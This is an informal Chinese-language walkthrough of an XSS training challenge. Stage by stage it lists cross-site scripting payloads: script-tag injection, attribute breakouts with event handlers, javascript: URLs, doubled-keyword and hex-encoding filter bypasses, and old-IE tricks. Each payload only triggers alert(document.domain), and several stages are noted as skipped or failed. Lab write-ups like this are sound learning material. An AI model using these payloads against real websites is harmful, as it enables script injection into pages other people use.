xss challenge通关记录

---

Stage #1

//第一关没有任何过滤直接搞
<script>alert(document.domain);</script>

---

Stage #2

//需要闭合
"><script>alert(document.domain);</script>

---

Stage #3

抓包修改p2的值（选择国家那个地方

<script>alert(document.domain)</script>

---

Stage #4

发现有一个p3值是被隐藏了

"><script>alert(document.domain)</script><"

---

Stage #5

长度被限制了。。
修改这里👇之后再传入payload即可(记得闭合前边

---

Stage #6

>被过滤了
直接再value内利用onclick事件

"οnclick=alert(document.domain);name="/

---

Stage #7

与上一关相似.

" onclick=alert(document.domain)
//空格可以分割属性

---

Stage #8

这关是将输入的东西整到a标签中

javascript:alert(document.domain)

---

Stage #9

要用到utf-7编码。。。先略了

---

Stage #10

这关把domain过滤了，尝试一下双写

"><script>alert(document.domdomainain)</script>

---

Stage #11

不知道为啥打不开了。先略.

---

Stage #12

ie浏览器会把``(键盘左上横排数字的最左边用英文输入法)识别为双引号（<>被过滤就设置属性），构造payload。

``onclick=alert(document.domain)  //但是并未成功

---

Stage #13

未过。。

参考资料

---

Stage #14

background-color:salmon;input:e/**/xpression((window.x==1)?'':(window.x=1,alert(document.domain)))//dalao的payload

未成功 。。

---

Stage #15

进行16进制转换或者Unicode编码

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

---

Stage #16

打不开。。

---

Stage #17

只能在老版ie上可以成功。。直接看dalao的wp吧

---

Stage #18

依旧老ie。。

%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE//dalao的payload

---

Stage #19

在twitter上找 DomXss at Sep 24，2010 。。

---